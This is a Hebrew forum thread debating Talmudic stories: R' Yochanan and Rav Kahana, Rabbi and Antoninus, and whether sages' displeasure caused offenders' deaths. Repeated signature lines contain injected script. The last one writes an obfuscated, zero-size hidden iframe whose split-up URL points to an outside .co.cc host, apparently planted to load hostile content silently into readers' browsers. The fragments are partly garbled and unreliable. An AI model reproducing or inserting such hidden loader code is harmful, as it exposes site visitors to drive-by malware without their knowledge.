עונשים ומידתיות: מדוע מת ר' יהודה בן נחמיה? (מנחות סח ב)

יונתן

לא בפעם הראשונה אני נתקל בביקורת כזו, לגבי ההבדלה בין מה שאמור להיות פשט לדרש או לדמיון.

הבעיה נוצרת כיון שלא תמיד מתריעים בפנינו מספרי הסיפור שיש מעבר כזה.

והתשובה היא שאנו אמורים להבין בעצמנו, כי לא כל דבר נאמר.

זכר לדבר: מעשה באותו חסיד שהלך לישון בבית הקברות, ויש מהמפרשים שכותבים בסגנון נועז (נדמה לי המהרשא) שהכל היה חלומו. ונדמה לי טעמו הלכתי, שאסור לישון שם.

בדורות האחרונים כבר אי אפשר להביא טעם מכוח המציאות, שהדברים לא יכלו לקרות, או שהם מכילים סתירה פנימית (איקון עצוב). וראוי להפנות לדברי הרשב"א (לא הרמב"ם ולא ריה"ל, הרשב"א) שדבר תורה שסותר את הידע המדעי יש לפרשו מחדש.

***
לא הבנתי תחילה שכוונתך לפנחס הזה. חשבתי שהכוונה לפנחס מן המקרא.

והשאלה יפה, שהרי שתיהן הקשו ללדת ומתו.

וצדק האבן עזרא, שהרי גם בגמרא אמרו שלידה היא זמן בדיקה לאשה. כלומר שהיא בסכנה.

***
לגבי התשובות שענה רב כהנא לר' יוחנן בחלומו, אפשר שאתה צודק מבחינה מסויימת. כלומר, ר' יוחנן עבר שינוי עקב הזעזוע שגרם למותו של רב כהנא, ולמד להסתכל מחדש על הבבליים. מדוע התנגד להם מעיקרא איני יודע. אולי הנסיון שלו איתם לא היה טוב. אמנם תמוה שגדול בתורה יקפוץ למסקנות גורפות לגבי מוצא. ושמא היה מן הצדק בדברים. בבל היתה ירודה בתורה כפי שמובא שרב מצא שהם אינם מבדילים בין בשר לחלב.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

תוספת (שהייתי צריך לזכור קודם): עליית התורה בבבל היתה בחלקה פרי הגיעו של רב לשם. ור' יוחנן ביטל עצמו לפני רב אך ראה בשמואל בן דרגתו כמובא בסיפור זה ואחר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

זהו, שמה שאני חושב זה שלר' יוחנן היתה דיעה מאוד שלילית על חכמי בבל וכשרב כהנא הגיע
לישראל והראה לר' יוחנן את חכמתם של חכמי בבל חזר בו ר' יוחנן מהתיאוריה שלו, אבל הבבלי
מספר את זה בתוספת אלמנטים פנטסטיים (כמו בעוד הרבה מעשיות). הבבלי הרבה פעמים מוסיף
נופך פנטסטי למעשיות שלו (האמת שלבבליים היו הרבה מאוד אמונות תפלות והאמינו בדברים
שמחוץ לגדר הטבע. אני די בטוח שיש מעשיות שבירולמי מסופרות באופן קצר ואילו בבבלי נוספים
להם כל מיני "הוקוס-פוקוס". דוגמא קטנה היא מספר הכהנים בבית שני שהירושלמי כותב שהם
היו שמונים ומשהו והבבבלי אומר יותר משלוש מאות והרשעים לא הוציאו שנתם) גם המעשה של
רבי ואנטונינוס והמערה בינהם ושאנטונינוס היה הורג כל פעם 2 עבדים ותלמידו של רבי החייה
אחד מהם הוא מעשה שהבבלי משתמש בו להאדרת שמם של תלמידי בבל. (ובבקשה בלי עוד
תירוצים של "זה בחלום"  :-)  )

ימימוני כתב - ההקפדה של ר' יוחנן היא סיבה מספקת למותו של המצער. כך נראה ממעשה ר"א ור"ג שהבאתי לעיל

ותמהני על שריו"נ הקפיד על כך. איני רואה בדמיוני את רבי ישראל סלנטר ועוד רבים וטובים מקפידים על כך

עד כדי כך שרשב"י (כן, זה שחגגו לו הילולה אתמול) ראה את ר' יהודה בן גרים שגרם (בשוגג כנראה) לצערו
והמעשייה מסתיימת בצורה לא פחות דרמטית מאקס-מן או הארי פוטר: "נתן בו עיניו ועשהו גל של עצמות"...

(האם חכמי הגמ' ניסו להפחיד את המון העם מפגיעה בתלמידי חכמים ע"י הוספת מעשים כאלה לתלמוד?)

תוקן על ידי יIנתן ב- 22/05/2011 12:21:47

יונתן, צענע, תלמיד טועה (טוב לראותך ולקרוא ממחשבותיך, כשאתה סוף סוף בא) וכולם

יש כאן כמה נקודות ואני זקוק להבדיל ביניהן, כרגיל בסעיפים.

1. האם הסיפורים המסופרים בבבלי הם עובדות או פנטסיות?

אם נניח שהן דמיון, הכיצד הרשו לעצמם העורכים והמספרים להמציאם?

אם לא, מה עם החלקים הבלתי אפשריים?

לסיפור על רבי ואנטונינוס, שהיה הורג שני עבדים, ופעם היה אצל רבי אחד התנאים שהתפלל על המת וקם וחי, לזה אין לי שום הסבר. איני מאמין שזה יתכן. אני מאמין ואף יודע שה' יכול לעשות הכל, אבל לא ייראה לי שה' עושה כאלו ניסים. (אפשר לדחוק שרק התעלף וה' עזר לו לשרוד, כגון מה שמפרשים בדיון הידוע בין המפרשים על בן השונמית, אבל כולי האי למה לי=למה להידחק כל כך).

נוח יותר להניח שיש כאן סיפור דמיוני, ואז חוזרת השאלה: למה סיפרו אותו.

ההשערה היחידה שאני יכול להעלות היא שזה סיפור שנועד להעביר מסר בדרך משלים. יש שפירשו באופן כזה. בדרך כלל איני מחבב פרשנויות כאלו, אבל אין לי טובה מזו.

אפשר גם לומר שהמספרים רצו להאדיר את הניסים שעושה ה' לרבי ולחכמים, אבל זה נראה לי עדיין מרחיק לכת.

2. יש אגדות חז"ל שבאות לספר דברים פנטסטיים, אבל אז הן מנוסחות באופן שדי ברור שאין הן אמורות להיות עובדה היסטורית. הסיפור על רב כהנא מסופר כעובדה, וחלקו האחרון ניתן להתפרש כחלום, ואז הכל עולה יפה. כך זה בעיני. וזה עדיף.

3. יש טוענים שהבבלי מרבה להמציא סיפורים, וכורתים בחרב חדה אפילו מעשים כמו זה על הלל שעלה לראש הגג וקפא כדי להקשיב לשיעור. זו לדעתי שאלה מתודולוגית. נניח שהסיפור מופיע בבבלי ולא בירושלמי. האם זה פוסל אותו? אם יש טעמים נוספים, כמו שהוא בלתי אפשרי, אצטרף לשוללים. עד אז, אני מורגל לתת אמון בסיפורי התלמוד כפועל יוצא מאמוני בחכמים.

***
תלמיד טועה

אתה מעלה נקודות שרציתי להעלות בעצמי וקדמתני.

יש כאן שתי נקודות קשות אם נקבל את ההשערה, שלכאורה עולה בקנה אחד עם המקורות, שה' מעניש את המצערים את החכמים.

1. מדוע ה' מחמיר כל כך.

2. מדוע חכמים הרשו לעצמם להקפיד ולהזיק?

איני יודע מדוע בחרת להזכיר דווקא את ר' ישראל מסלנט. אני משער שאולי התכוונת למעשה שמוכר לי בגרסה זו: פעם סיפרו לו על אדמור שכל מי שגורם לו צער, כיון שהצטער האדמור, ההוא לוקה או מת.

המספרים התכוונו להאדיר את עוצמתו של האדמור. ר' ישראל הגיב: אם כן, שומה עליו להיזהר מאד שלא יקפיד כדי לא להזיק!

לגבי השאלה השניה, תשובה אפשרית ואף מקובלת היא שר' יוחנן לא רצה שרב כהנא ימות, אלא שברגע שנגרם לו צער, מייד נידון המצער בשמים.

לפי זה, כאשר ר"ע אמר ליב"נ שהוא עלול למות, לא היתה זו קללה אלא אזהרה מפני העתיד להתרחש.

הסבר כזה פותר את הקושי המוסרי, אבל הוא אינו הולם את כל הסיפורים מסוג זה.

לגבי השאלה מדוע ה' מקפיד כל כך דווקא בנושא זה, לשם כך אני סבור שראוי להיכנס לשאלה של ענישה בכלל, שעליה רמזתי בסוף דברי בפתיחת האשכול. 

***** תוקנה טעות הקלדה ***_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");